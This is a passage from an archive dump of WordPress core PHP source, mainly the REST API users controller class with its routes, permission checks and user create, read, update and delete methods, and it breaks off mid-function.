		return apply_filters( 'rest_themes_collection_params', $query_params );
	}

	/**
	 * Sanitizes and validates the list of theme status.
	 *
	 * @since 5.0.0
	 * @deprecated 5.7.0
	 *
	 * @param string|array    $statuses  One or more theme statuses.
	 * @param WP_REST_Request $request   Full details about the request.
	 * @param string          $parameter Additional parameter to pass to validation.
	 * @return array|WP_Error A list of valid statuses, otherwise WP_Error object.
	 */
	public function sanitize_theme_status( $statuses, $request, $parameter ) {
		_deprecated_function( __METHOD__, '5.7.0' );

		$statuses = wp_parse_slug_list( $statuses );

		foreach ( $statuses as $status ) {
			$result = rest_validate_request_arg( $status, $request, $parameter );

			if ( is_wp_error( $result ) ) {
				return $result;
			}
		}

		return $statuses;
	}
}
endpoints/class-wp-rest-users-controller.php000064400000141171151724720270015320 0ustar00<?php
/**
 * REST API: WP_REST_Users_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core class used to manage users via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Users_Controller extends WP_REST_Controller {

	/**
	 * Instance of a user meta fields object.
	 *
	 * @since 4.7.0
	 * @var WP_REST_User_Meta_Fields
	 */
	protected $meta;

	/**
	 * Whether the controller supports batching.
	 *
	 * @since 6.6.0
	 * @var array
	 */
	protected $allow_batch = array( 'v1' => true );

	/**
	 * Constructor.
	 *
	 * @since 4.7.0
	 */
	public function __construct() {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'users';

		$this->meta = new WP_REST_User_Meta_Fields();
	}

	/**
	 * Registers the routes for users.
	 *
	 * @since 4.7.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				array(
					'methods'             => WP_REST_Server::CREATABLE,
					'callback'            => array( $this, 'create_item' ),
					'permission_callback' => array( $this, 'create_item_permissions_check' ),
					'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::CREATABLE ),
				),
				'allow_batch' => $this->allow_batch,
				'schema'      => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<id>[\d]+)',
			array(
				'args'        => array(
					'id' => array(
						'description' => __( 'Unique identifier for the user.' ),
						'type'        => 'integer',
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				array(
					'methods'             => WP_REST_Server::EDITABLE,
					'callback'            => array( $this, 'update_item' ),
					'permission_callback' => array( $this, 'update_item_permissions_check' ),
					'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
				),
				array(
					'methods'             => WP_REST_Server::DELETABLE,
					'callback'            => array( $this, 'delete_item' ),
					'permission_callback' => array( $this, 'delete_item_permissions_check' ),
					'args'                => array(
						'force'    => array(
							'type'        => 'boolean',
							'default'     => false,
							'description' => __( 'Required to be true, as users do not support trashing.' ),
						),
						'reassign' => array(
							'type'              => 'integer',
							'description'       => __( 'Reassign the deleted user\'s posts and links to this user ID.' ),
							'required'          => true,
							'sanitize_callback' => array( $this, 'check_reassign' ),
						),
					),
				),
				'allow_batch' => $this->allow_batch,
				'schema'      => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/me',
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'permission_callback' => '__return_true',
					'callback'            => array( $this, 'get_current_item' ),
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				array(
					'methods'             => WP_REST_Server::EDITABLE,
					'callback'            => array( $this, 'update_current_item' ),
					'permission_callback' => array( $this, 'update_current_item_permissions_check' ),
					'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
				),
				array(
					'methods'             => WP_REST_Server::DELETABLE,
					'callback'            => array( $this, 'delete_current_item' ),
					'permission_callback' => array( $this, 'delete_current_item_permissions_check' ),
					'args'                => array(
						'force'    => array(
							'type'        => 'boolean',
							'default'     => false,
							'description' => __( 'Required to be true, as users do not support trashing.' ),
						),
						'reassign' => array(
							'type'              => 'integer',
							'description'       => __( 'Reassign the deleted user\'s posts and links to this user ID.' ),
							'required'          => true,
							'sanitize_callback' => array( $this, 'check_reassign' ),
						),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks for a valid value for the reassign parameter when deleting users.
	 *
	 * The value can be an integer, 'false', false, or ''.
	 *
	 * @since 4.7.0
	 *
	 * @param int|bool        $value   The value passed to the reassign parameter.
	 * @param WP_REST_Request $request Full details about the request.
	 * @param string          $param   The parameter that is being sanitized.
	 * @return int|bool|WP_Error
	 */
	public function check_reassign( $value, $request, $param ) {
		if ( is_numeric( $value ) ) {
			return $value;
		}

		if ( empty( $value ) || false === $value || 'false' === $value ) {
			return false;
		}

		return new WP_Error(
			'rest_invalid_param',
			__( 'Invalid user parameter(s).' ),
			array( 'status' => 400 )
		);
	}

	/**
	 * Permissions check for getting all users.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, otherwise WP_Error object.
	 */
	public function get_items_permissions_check( $request ) {
		// Check if roles is specified in GET request and if user can list users.
		if ( ! empty( $request['roles'] ) && ! current_user_can( 'list_users' ) ) {
			return new WP_Error(
				'rest_user_cannot_view',
				__( 'Sorry, you are not allowed to filter users by role.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		// Check if capabilities is specified in GET request and if user can list users.
		if ( ! empty( $request['capabilities'] ) && ! current_user_can( 'list_users' ) ) {
			return new WP_Error(
				'rest_user_cannot_view',
				__( 'Sorry, you are not allowed to filter users by capability.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( 'edit' === $request['context'] && ! current_user_can( 'list_users' ) ) {
			return new WP_Error(
				'rest_forbidden_context',
				__( 'Sorry, you are not allowed to edit users.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( in_array( $request['orderby'], array( 'email', 'registered_date' ), true ) && ! current_user_can( 'list_users' ) ) {
			return new WP_Error(
				'rest_forbidden_orderby',
				__( 'Sorry, you are not allowed to order users by this parameter.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( 'authors' === $request['who'] ) {
			$types = get_post_types( array( 'show_in_rest' => true ), 'objects' );

			foreach ( $types as $type ) {
				if ( post_type_supports( $type->name, 'author' )
					&& current_user_can( $type->cap->edit_posts ) ) {
					return true;
				}
			}

			return new WP_Error(
				'rest_forbidden_who',
				__( 'Sorry, you are not allowed to query users by this parameter.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Retrieves all users.
	 *
	 * @since 4.7.0
	 * @since 6.8.0 Added support for the search_columns query param.
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {

		// Retrieve the list of registered collection query parameters.
		$registered = $this->get_collection_params();

		/*
		 * This array defines mappings between public API query parameters whose
		 * values are accepted as-passed, and their internal WP_Query parameter
		 * name equivalents (some are the same). Only values which are also
		 * present in $registered will be set.
		 */
		$parameter_mappings = array(
			'exclude'      => 'exclude',
			'include'      => 'include',
			'order'        => 'order',
			'per_page'     => 'number',
			'search'       => 'search',
			'roles'        => 'role__in',
			'capabilities' => 'capability__in',
			'slug'         => 'nicename__in',
		);

		$prepared_args = array();

		/*
		 * For each known parameter which is both registered and present in the request,
		 * set the parameter's value on the query $prepared_args.
		 */
		foreach ( $parameter_mappings as $api_param => $wp_param ) {
			if ( isset( $registered[ $api_param ], $request[ $api_param ] ) ) {
				$prepared_args[ $wp_param ] = $request[ $api_param ];
			}
		}

		if ( isset( $registered['offset'] ) && ! empty( $request['offset'] ) ) {
			$prepared_args['offset'] = $request['offset'];
		} else {
			$prepared_args['offset'] = ( $request['page'] - 1 ) * $prepared_args['number'];
		}

		if ( isset( $registered['orderby'] ) ) {
			$orderby_possibles        = array(
				'id'              => 'ID',
				'include'         => 'include',
				'name'            => 'display_name',
				'registered_date' => 'registered',
				'slug'            => 'user_nicename',
				'include_slugs'   => 'nicename__in',
				'email'           => 'user_email',
				'url'             => 'user_url',
			);
			$prepared_args['orderby'] = $orderby_possibles[ $request['orderby'] ];
		}

		if ( isset( $registered['who'] ) && ! empty( $request['who'] ) && 'authors' === $request['who'] ) {
			$prepared_args['who'] = 'authors';
		} elseif ( ! current_user_can( 'list_users' ) ) {
			$prepared_args['has_published_posts'] = get_post_types( array( 'show_in_rest' => true ), 'names' );
		}

		if ( ! empty( $request['has_published_posts'] ) ) {
			$prepared_args['has_published_posts'] = ( true === $request['has_published_posts'] )
				? get_post_types( array( 'show_in_rest' => true ), 'names' )
				: (array) $request['has_published_posts'];
		}

		if ( ! empty( $prepared_args['search'] ) ) {
			if ( ! current_user_can( 'list_users' ) ) {
				$prepared_args['search_columns'] = array( 'ID', 'user_login', 'user_nicename', 'display_name' );
			}
			$search_columns         = $request->get_param( 'search_columns' );
			$valid_columns          = isset( $prepared_args['search_columns'] )
				? $prepared_args['search_columns']
				: array( 'ID', 'user_login', 'user_nicename', 'user_email', 'display_name' );
			$search_columns_mapping = array(
				'id'       => 'ID',
				'username' => 'user_login',
				'slug'     => 'user_nicename',
				'email'    => 'user_email',
				'name'     => 'display_name',
			);
			$search_columns         = array_map(
				static function ( $column ) use ( $search_columns_mapping ) {
					return $search_columns_mapping[ $column ];
				},
				$search_columns
			);
			$search_columns         = array_intersect( $search_columns, $valid_columns );
			if ( ! empty( $search_columns ) ) {
				$prepared_args['search_columns'] = $search_columns;
			}
			$prepared_args['search'] = '*' . $prepared_args['search'] . '*';
		}

		$is_head_request = $request->is_method( 'HEAD' );
		if ( $is_head_request ) {
			// Force the 'fields' argument. For HEAD requests, only user IDs are required.
			$prepared_args['fields'] = 'id';
		}
		/**
		 * Filters WP_User_Query arguments when querying users via the REST API.
		 *
		 * @link https://developer.wordpress.org/reference/classes/wp_user_query/
		 *
		 * @since 4.7.0
		 *
		 * @param array           $prepared_args Array of arguments for WP_User_Query.
		 * @param WP_REST_Request $request       The REST API request.
		 */
		$prepared_args = apply_filters( 'rest_user_query', $prepared_args, $request );

		$query = new WP_User_Query( $prepared_args );

		if ( ! $is_head_request ) {
			$users = array();

			foreach ( $query->get_results() as $user ) {
				if ( 'edit' === $request['context'] && ! current_user_can( 'edit_user', $user->ID ) ) {
					continue;
				}

				$data    = $this->prepare_item_for_response( $user, $request );
				$users[] = $this->prepare_response_for_collection( $data );
			}
		}

		$response = $is_head_request ? new WP_REST_Response( array() ) : rest_ensure_response( $users );

		// Store pagination values for headers then unset for count query.
		$per_page = (int) $prepared_args['number'];
		$page     = (int) ceil( ( ( (int) $prepared_args['offset'] ) / $per_page ) + 1 );

		$prepared_args['fields'] = 'ID';

		$total_users = $query->get_total();

		if ( $total_users < 1 ) {
			// Out-of-bounds, run the query again without LIMIT for total count.
			unset( $prepared_args['number'], $prepared_args['offset'] );
			$count_query = new WP_User_Query( $prepared_args );
			$total_users = $count_query->get_total();
		}

		$response->header( 'X-WP-Total', (int) $total_users );

		$max_pages = (int) ceil( $total_users / $per_page );

		$response->header( 'X-WP-TotalPages', $max_pages );

		$base = add_query_arg( urlencode_deep( $request->get_query_params() ), rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ) );
		if ( $page > 1 ) {
			$prev_page = $page - 1;

			if ( $prev_page > $max_pages ) {
				$prev_page = $max_pages;
			}

			$prev_link = add_query_arg( 'page', $prev_page, $base );
			$response->link_header( 'prev', $prev_link );
		}
		if ( $max_pages > $page ) {
			$next_page = $page + 1;
			$next_link = add_query_arg( 'page', $next_page, $base );

			$response->link_header( 'next', $next_link );
		}

		return $response;
	}

	/**
	 * Get the user, if the ID is valid.
	 *
	 * @since 4.7.2
	 *
	 * @param int $id Supplied ID.
	 * @return WP_User|WP_Error True if ID is valid, WP_Error otherwise.
	 */
	protected function get_user( $id ) {
		$error = new WP_Error(
			'rest_user_invalid_id',
			__( 'Invalid user ID.' ),
			array( 'status' => 404 )
		);

		if ( (int) $id <= 0 ) {
			return $error;
		}

		$user = get_userdata( (int) $id );
		if ( empty( $user ) || ! $user->exists() ) {
			return $error;
		}

		if ( is_multisite() && ! is_user_member_of_blog( $user->ID ) ) {
			return $error;
		}

		return $user;
	}

	/**
	 * Checks if a given request has access to read a user.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, otherwise WP_Error object.
	 */
	public function get_item_permissions_check( $request ) {
		$user = $this->get_user( $request['id'] );
		if ( is_wp_error( $user ) ) {
			return $user;
		}

		$types = get_post_types( array( 'show_in_rest' => true ), 'names' );

		if ( get_current_user_id() === $user->ID ) {
			return true;
		}

		if ( 'edit' === $request['context'] && ! current_user_can( 'edit_user', $user->ID ) ) {
			return new WP_Error(
				'rest_forbidden_context',
				__( 'Sorry, you are not allowed to edit this user.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( ! current_user_can( 'edit_user', $user->ID ) && ! current_user_can( 'list_users' ) && ! count_user_posts( $user->ID, $types ) ) {
			return new WP_Error(
				'rest_user_cannot_view',
				__( 'Sorry, you are not allowed to list users.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Retrieves a single user.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$user = $this->get_user( $request['id'] );
		if ( is_wp_error( $user ) ) {
			return $user;
		}

		$user     = $this->prepare_item_for_response( $user, $request );
		$response = rest_ensure_response( $user );

		return $response;
	}

	/**
	 * Retrieves the current user.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_current_item( $request ) {
		$current_user_id = get_current_user_id();

		if ( empty( $current_user_id ) ) {
			return new WP_Error(
				'rest_not_logged_in',
				__( 'You are not currently logged in.' ),
				array( 'status' => 401 )
			);
		}

		$user     = wp_get_current_user();
		$response = $this->prepare_item_for_response( $user, $request );
		$response = rest_ensure_response( $response );

		return $response;
	}

	/**
	 * Checks if a given request has access create users.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to create items, WP_Error object otherwise.
	 */
	public function create_item_permissions_check( $request ) {

		if ( ! current_user_can( 'create_users' ) ) {
			return new WP_Error(
				'rest_cannot_create_user',
				__( 'Sorry, you are not allowed to create new users.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Creates a single user.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function create_item( $request ) {
		if ( ! empty( $request['id'] ) ) {
			return new WP_Error(
				'rest_user_exists',
				__( 'Cannot create existing user.' ),
				array( 'status' => 400 )
			);
		}

		$schema = $this->get_item_schema();

		if ( ! empty( $request['roles'] ) && ! empty( $schema['properties']['roles'] ) ) {
			$check_permission = $this->check_role_update( $request['id'], $request['roles'] );

			if ( is_wp_error( $check_permission ) ) {
				return $check_permission;
			}
		}

		$user = $this->prepare_item_for_database( $request );

		if ( is_multisite() ) {
			$ret = wpmu_validate_user_signup( $user->user_login, $user->user_email );

			if ( is_wp_error( $ret['errors'] ) && $ret['errors']->has_errors() ) {
				$error = new WP_Error(
					'rest_invalid_param',
					__( 'Invalid user parameter(s).' ),
					array( 'status' => 400 )
				);

				foreach ( $ret['errors']->errors as $code => $messages ) {
					foreach ( $messages as $message ) {
						$error->add( $code, $message );
					}

					$error_data = $error->get_error_data( $code );

					if ( $error_data ) {
						$error->add_data( $error_data, $code );
					}
				}
				return $error;
			}
		}

		if ( is_multisite() ) {
			$user_id = wpmu_create_user( $user->user_login, $user->user_pass, $user->user_email );

			if ( ! $user_id ) {
				return new WP_Error(
					'rest_user_create',
					__( 'Error creating new user.' ),
					array( 'status' => 500 )
				);
			}

			$user->ID = $user_id;
			$user_id  = wp_update_user( wp_slash( (array) $user ) );

			if ( is_wp_error( $user_id ) ) {
				return $user_id;
			}

			$result = add_user_to_blog( get_site()->id, $user_id, '' );
			if ( is_wp_error( $result ) ) {
				return $result;
			}
		} else {
			$user_id = wp_insert_user( wp_slash( (array) $user ) );

			if ( is_wp_error( $user_id ) ) {
				return $user_id;
			}
		}

		$user = get_user_by( 'id', $user_id );

		/**
		 * Fires immediately after a user is created or updated via the REST API.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_User         $user     Inserted or updated user object.
		 * @param WP_REST_Request $request  Request object.
		 * @param bool            $creating True when creating a user, false when updating.
		 */
		do_action( 'rest_insert_user', $user, $request, true );

		if ( ! empty( $request['roles'] ) && ! empty( $schema['properties']['roles'] ) ) {
			array_map( array( $user, 'add_role' ), $request['roles'] );
		}

		if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
			$meta_update = $this->meta->update_value( $request['meta'], $user_id );

			if ( is_wp_error( $meta_update ) ) {
				return $meta_update;
			}
		}

		$user          = get_user_by( 'id', $user_id );
		$fields_update = $this->update_additional_fields_for_object( $user, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$request->set_param( 'context', 'edit' );

		/**
		 * Fires after a user is completely created or updated via the REST API.
		 *
		 * @since 5.0.0
		 *
		 * @param WP_User         $user     Inserted or updated user object.
		 * @param WP_REST_Request $request  Request object.
		 * @param bool            $creating True when creating a user, false when updating.
		 */
		do_action( 'rest_after_insert_user', $user, $request, true );

		$response = $this->prepare_item_for_response( $user, $request );
		$response = rest_ensure_response( $response );

		$response->set_status( 201 );
		$response->header( 'Location', rest_url( sprintf( '%s/%s/%d', $this->namespace, $this->rest_base, $user_id ) ) );

		return $response;
	}

	/**
	 * Checks if a given request has access to update a user.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to update the item, WP_Error object otherwise.
	 */
	public function update_item_permissions_check( $request ) {
		$user = $this->get_user( $request['id'] );
		if ( is_wp_error( $user ) ) {
			return $user;
		}

		if ( ! empty( $request['roles'] ) ) {
			if ( ! current_user_can( 'promote_user', $user->ID ) ) {
				return new WP_Error(
					'rest_cannot_edit_roles',
					__( 'Sorry, you are not allowed to edit roles of this user.' ),
					array( 'status' => rest_authorization_required_code() )
				);
			}

			$request_params = array_keys( $request->get_params() );
			sort( $request_params );
			/*
			 * If only 'id' and 'roles' are specified (we are only trying to
			 * edit roles), then only the 'promote_user' cap is required.
			 */
			if ( array( 'id', 'roles' ) === $request_params ) {
				return true;
			}
		}

		if ( ! current_user_can( 'edit_user', $user->ID ) ) {
			return new WP_Error(
				'rest_cannot_edit',
				__( 'Sorry, you are not allowed to edit this user.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Updates a single user.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function update_item( $request ) {
		$user = $this->get_user( $request['id'] );
		if ( is_wp_error( $user ) ) {
			return $user;
		}

		$id = $user->ID;

		$owner_id = false;
		if ( is_string( $request['email'] ) ) {
			$owner_id = email_exists( $request['email'] );
		}

		if ( $owner_id && $owner_id !== $id ) {
			return new WP_Error(
				'rest_user_invalid_email',
				__( 'Invalid email address.' ),
				array( 'status' => 400 )
			);
		}

		if ( ! empty( $request['username'] ) && $request['username'] !== $user->user_login ) {
			return new WP_Error(
				'rest_user_invalid_argument',
				__( 'Username is not editable.' ),
				array( 'status' => 400 )
			);
		}

		if ( ! empty( $request['slug'] ) && $request['slug'] !== $user->user_nicename && get_user_by( 'slug', $request['slug'] ) ) {
			return new WP_Error(
				'rest_user_invalid_slug',
				__( 'Invalid slug.' ),
				array( 'status' => 400 )
			);
		}

		if ( ! empty( $request['roles'] ) ) {
			$check_permission = $this->check_role_update( $id, $request['roles'] );

			if ( is_wp_error( $check_permission ) ) {
				return $check_permission;
			}
		}

		$user = $this->prepare_item_for_database( $request );

		// Ensure we're operating on the same user we already checked.
		$user->ID = $id;

		$user_id = wp_update_user( wp_slash( (array) $user ) );

		if ( is_wp_error( $user_id ) ) {
			return $user_id;
		}

		$user = get_user_by( 'id', $user_id );

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php */
		do_action( 'rest_insert_user', $user, $request, false );

		if ( ! empty( $request['roles'] ) ) {
			array_map( array( $user, 'add_role' ), $request['roles'] );
		}

		$schema = $this->get_item_schema();

		if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
			$meta_update = $this->meta->update_value( $request['meta'], $id );

			if ( is_wp_error( $meta_update ) ) {
				return $meta_update;
			}
		}

		$user          = get_user_by( 'id', $user_id );
		$fields_update = $this->update_additional_fields_for_object( $user, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$request->set_param( 'context', 'edit' );

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php */
		do_action( 'rest_after_insert_user', $user, $request, false );

		$response = $this->prepare_item_for_response( $user, $request );
		$response = rest_ensure_response( $response );

		return $response;
	}

	/**
	 * Checks if a given request has access to update the current user.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to update the item, WP_Error object otherwise.
	 */
	public function update_current_item_permissions_check( $request ) {
		$request['id'] = get_current_user_id();

		return $this->update_item_permissions_check( $request );
	}

	/**
	 * Updates the current user.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function update_current_item( $request ) {
		$request['id'] = get_current_user_id();

		return $this->update_item( $request );
	}

	/**
	 * Checks if a given request has access delete a user.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise.
	 */
	public function delete_item_permissions_check( $request ) {
		$user = $this->get_user( $request['id'] );
		if ( is_wp_error( $user ) ) {
			return $user;
		}

		if ( ! current_user_can( 'delete_user', $user->ID ) ) {
			return new WP_Error(
				'rest_user_cannot_delete',
				__( 'Sorry, you are not allowed to delete this user.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Deletes a single user.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function delete_item( $request ) {
		// We don't support delete requests in multisite.
		if ( is_multisite() ) {
			return new WP_Error(
				'rest_cannot_delete',
				__( 'The user cannot be deleted.' ),
				array( 'status' => 501 )
			);
		}

		$user = $this->get_user( $request['id'] );

		if ( is_wp_error( $user ) ) {
			return $user;
		}

		$id       = $user->ID;
		$reassign = false === $request['reassign'] ? null : absint( $request['reassign'] );
		$force    = isset( $request['force'] ) ? (bool) $request['force'] : false;

		// We don't support trashing for users.
		if ( ! $force ) {
			return new WP_Error(
				'rest_trash_not_supported',
				/* translators: %s: force=true */
				sprintf( __( "Users do not support trashing. Set '%s' to delete." ), 'force=true' ),
				array( 'status' => 501 )
			);
		}

		if ( ! empty( $reassign ) ) {
			if ( $reassign === $id || ! get_userdata( $reassign ) ) {
				return new WP_Error(
					'rest_user_invalid_reassign',
					__( 'Invalid user ID for reassignment.' ),
					array( 'status' => 400 )
				);
			}
		}

		$request->set_param( 'context', 'edit' );

		$previous = $this->prepare_item_for_response( $user, $request );

		// Include user admin functions to get access to wp_delete_user().
		require_once ABSPATH . 'wp-admin/includes/user.php';

		$result = wp_delete_user( $id, $reassign );

		if ( ! $result ) {
			return new WP_Error(
				'rest_cannot_delete',
				__( 'The user cannot be deleted.' ),
				array( 'status' => 500 )
			);
		}

		$response = new WP_REST_Response();
		$response->set_data(
			array(
				'deleted'  => true,
				'previous' => $previous->get_data(),
			)
		);

		/**
		 * Fires immediately after a user is deleted via the REST API.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_User          $user     The user data.
		 * @param WP_REST_Response $response The response returned from the API.
		 * @param WP_REST_Request  $request  The request sent to the API.
		 */
		do_action( 'rest_delete_user', $user, $response, $request );

		return $response;
	}

	/**
	 * Checks if a given request has access to delete the current user.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise.
	 */
	public function delete_current_item_permissions_check( $request ) {
		$request['id'] = get_current_user_id();

		return $this->delete_item_permissions_check( $request );
	}

	/**
	 * Deletes the current user.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function delete_current_item( $request ) {
		$request['id'] = get_current_user_id();

		return $this->delete_item( $request );
	}

	/**
	 * Prepares a single user output for response.
	 *
	 * @since 4.7.0
	 * @since 5.9.0 Renamed `$user` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param WP_User         $item    User object.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $item, $request ) {
		// Restores the more descriptive, specific name for use within this method.
		$user = $item;

		// Don't prepare the response body for HEAD requests.
		if ( $request->is_method( 'HEAD' ) ) {
			/** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php */
			return apply_filters( 'rest_prepare_user', new WP_REST_Response( array() ), $user, $request );
		}

		$fields = $this->get_fields_for_response( $request );
		$data   = array();

		if ( in_array( 'id', $fields, true ) ) {
			$data['id'] = $user->ID;
		}

		if ( in_array( 'username', $fields, true ) ) {
			$data['username'] = $user->user_login;
		}

		if ( in_array( 'name', $fields, true ) ) {
			$data['name'] = $user->display_name;
		}

		if ( in_array( 'first_name', $fields, true ) ) {
			$data['first_name'] = $user->first_name;
		}

		if ( in_array( 'last_name', $fields, true ) ) {
			$data['last_name'] = $user->last_name;
		}

		if ( in_array( 'email', $fields, true ) ) {
			$data['email'] = $user->user_email;
		}

		if ( in_array( 'url', $fields, true ) ) {
			$data['url'] = $user->user_url;
		}

		if ( in_array( 'description', $fields, true ) ) {
			$data['description'] = $user->description;
		}

		if ( in_array( 'link', $fields, true ) ) {
			$data['link'] = get_author_posts_url( $user->ID, $user->user_nicename );
		}

		if ( in_array( 'locale', $fields, true ) ) {
			$data['locale'] = get_user_locale( $user );
		}

		if ( in_array( 'nickname', $fields, true ) ) {
			$data['nickname'] = $user->nickname;
		}

		if ( in_array( 'slug', $fields, true ) ) {
			$data['slug'] = $user->user_nicename;
		}

		if ( in_array( 'roles', $fields, true ) && ( current_user_can( 'list_users' ) || current_user_can( 'edit_user', $user->ID ) ) ) {
			// Defensively call array_values() to ensure an array is returned.
			$data['roles'] = array_values( $user->roles );
		}

		if ( in_array( 'registered_date', $fields, true ) ) {
			$data['registered_date'] = gmdate( 'c', strtotime( $user->user_registered ) );
		}

		if ( in_array( 'capabilities', $fields, true ) ) {
			$data['capabilities'] = (object) $user->allcaps;
		}

		if ( in_array( 'extra_capabilities', $fields, true ) ) {
			$data['extra_capabilities'] = (object) $user->caps;
		}

		if ( in_array( 'avatar_urls', $fields, true ) ) {
			$data['avatar_urls'] = rest_get_avatar_urls( $user );
		}

		if ( in_array( 'meta', $fields, true ) ) {
			$data['meta'] = $this->meta->get_value( $user->ID, $request );
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'embed';

		$data = $this->add_additional_fields_to_object( $data, $request );
		$data = $this->filter_response_by_context( $data, $context );

		// Wrap the data in a response object.
		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$response->add_links( $this->prepare_links( $user ) );
		}

		/**
		 * Filters user data returned from the REST API.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_REST_Response $response The response object.
		 * @param WP_User          $user     User object used to create response.
		 * @param WP_REST_Request  $request  Request object.
		 */
		return apply_filters( 'rest_prepare_user', $response, $user, $request );
	}

	/**
	 * Prepares links for the user request.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_User $user User object.
	 * @return array Links for the given user.
	 */
	protected function prepare_links( $user ) {
		$links = array(
			'self'       => array(
				'href' => rest_url( sprintf( '%s/%s/%d', $this->namespace, $this->rest_base, $user->ID ) ),
			),
			'collection' => array(
				'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ),
			),
		);

		return $links;
	}

	/**
	 * Prepares a single user for creation or update.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Request object.
	 * @return object User object.
	 */
	protected function prepare_item_for_database( $request ) {
		$prepared_user = new stdClass();

		$schema = $this->get_item_schema();

		// Required arguments.
		if ( isset( $request['email'] ) && ! empty( $schema['properties']['email'] ) ) {
			$prepared_user->user_email = $request['email'];
		}

